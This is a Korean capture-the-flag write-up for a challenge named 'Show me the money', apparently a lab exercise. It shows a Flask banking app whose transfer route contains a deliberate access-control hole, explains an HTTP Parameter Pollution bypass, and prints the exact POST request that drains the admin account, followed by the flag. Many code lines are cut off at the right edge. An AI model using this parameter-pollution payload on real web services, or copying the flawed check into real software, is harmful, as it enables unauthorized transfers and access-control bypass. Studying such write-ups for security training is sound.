Show me the money

문제 이름

Show me the money

사용 된 취약점

HTTP Parameter Pollution

풀이 과정

전체 코드

```
from flask import Flask, render_template, request, redirect,
from datetime import timedelta
import sqlite3
import secrets
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
app.permanent_session_lifetime = timedelta(hours=24)

import sqlite3

def initialize_db():
    with sqlite3.connect('bank.db') as conn:
        c = conn.cursor()

        c.execute('''CREATE TABLE IF NOT EXISTS accounts (acc

        c.execute("SELECT COUNT(*) FROM accounts")
        c.execute("DELETE FROM accounts")
```

```
        c.execute("INSERT INTO accounts (account_number, bala
        conn.commit()


initialize_db()

def get_db():
    conn = sqlite3.connect('bank.db')
    return conn

@app.route('/')
def index():
    if 'account_number' not in session:
        session['account_number'] = secrets.token_hex(16)
        c = get_db()
        c.execute("INSERT INTO accounts (account_number, bala
        c.commit()
        c.close()
        return render_template('index.html', bankid=session['
    elif 'account_number' in session:
        return render_template('index.html', bankid=session['
    else:
        return render_template('index.html', bankid="no Sessi




@app.route('/transfer', methods=['POST'])
def transfer():
    from_account = request.form.getlist('from-account')
    to_account = request.form['to-account']
    amount = int(request.form['amount'])
    conn = sqlite3.connect('bank.db')
    c = conn.cursor()

    if 'admin' in from_account[0]:
        conn.close()
        return render_template('index.html')
```

```
    if (len(from_account) > 1):
        from_account = from_account[-1]
    else:
        from_account = from_account[0]

    if amount < 0:
        flash('Invalid Amount', 'error')
        conn.close()
        return redirect(url_for('index'))

    c.execute("SELECT balance FROM accounts WHERE account_num
    from_account_data = c.fetchone()
    if from_account_data:
        from_account_balance = from_account_data[0]
        if from_account_balance >= amount:
            c.execute("SELECT balance FROM accounts WHERE acc
            to_account_data = c.fetchone()
            if to_account_data:

                new_from_balance = from_account_balance - amo
                new_to_balance = to_account_data[0] + amount
                if (from_account=='admin'):
                    c.execute("UPDATE accounts SET balance =
                else:
                    c.execute("UPDATE accounts SET balance =
                    c.execute("UPDATE accounts SET balance =
                conn.commit()
            else:
                pass
        else:
            pass
    else:
        pass

    conn.close()
    return redirect('/')
```

```
@app.route('/check-balance', methods=['POST'])
def check_balance():
    data = request.get_json()
    if not data or 'account' not in data:
        return "Invalid request", 400

    account_number = data.get('account')
    conn = sqlite3.connect('bank.db')
    c = conn.cursor()
    c.execute("SELECT balance FROM accounts WHERE account_num
    account_data = c.fetchone()
    conn.close()

    if account_data:
        return f"Account balance: ${account_data[0]}"
    else:
        return "Invalid account number", 404

@app.route('/buy-flag')
def buy_flag():
    acc_num = session.get('account_number')
    conn = sqlite3.connect('bank.db')
    c = conn.cursor()
    c.execute("SELECT balance FROM accounts WHERE account_num
    total_balance = c.fetchone()[0]
    conn.close()

    if total_balance >= 100000000:
        try:
            with open("./FLAG", "r") as f:
                flag = f.read().strip()
            return render_template('index.html', result=f"The
        except FileNotFoundError:
            return render_template('index.html', result="Erro
    else:
        return render_template('index.html', result="Insuffic
```

```
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)
```

파이썬 플라스크에서는 동일한 이름의 파라미터를 한번에 2번 이상 보내는 경우 먼저 입력된 값을 기준으로 값을 지정한다.

해당 문제는 이 순서를 코드를 통해 마지막으로 입력받은 파라미터를 저장하게 해서 hpp를 이용해 필터링을 우회해서 FLAG를 획득 가능한 문제이다.

풀이 과정을 정리하면 다음과 같다:

1. 코드를 분석해보면 transfer 함수에서 from_account 파라미터를 여러 번 받는 경우, 마지막에 받은 값을 사용하도록 되어있다.

   ```
   if (len(from_account) > 1):
       from_account = from_account[-1]
   else:
       from_account = from_account[0]
   ```

2. 이를 이용해 from_account 파라미터에 admin을 마지막에 넣고, 그 다음에 내 계좌번호를 넣으면 admin 계좌에서 내 계좌로 송금이 가능해진다.
3. buy_flag 함수를 보면 내 계좌 잔액이 100000000 이상이면 FLAG를 구매할 수 있다.
4. 따라서 아래와 같이 HPP(HTTP Parameter Pollution)을 이용해 admin 계좌에서 내 계좌로 100000000을 송금하면 FLAG를 획득할 수 있다.

   ```
   POST /transfer HTTP/1.1
   Host: example.com
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 63

   from-account=내계좌번호&from-account=admin&to-account=내계좌번호&amount=100000000
   ```

5. 이후 buy_flag 페이지에 접속하면 FLAG를 획득할 수 있다.

FLAG : SOTI{thE_BAnk_wENt_b4NkrupT_xD}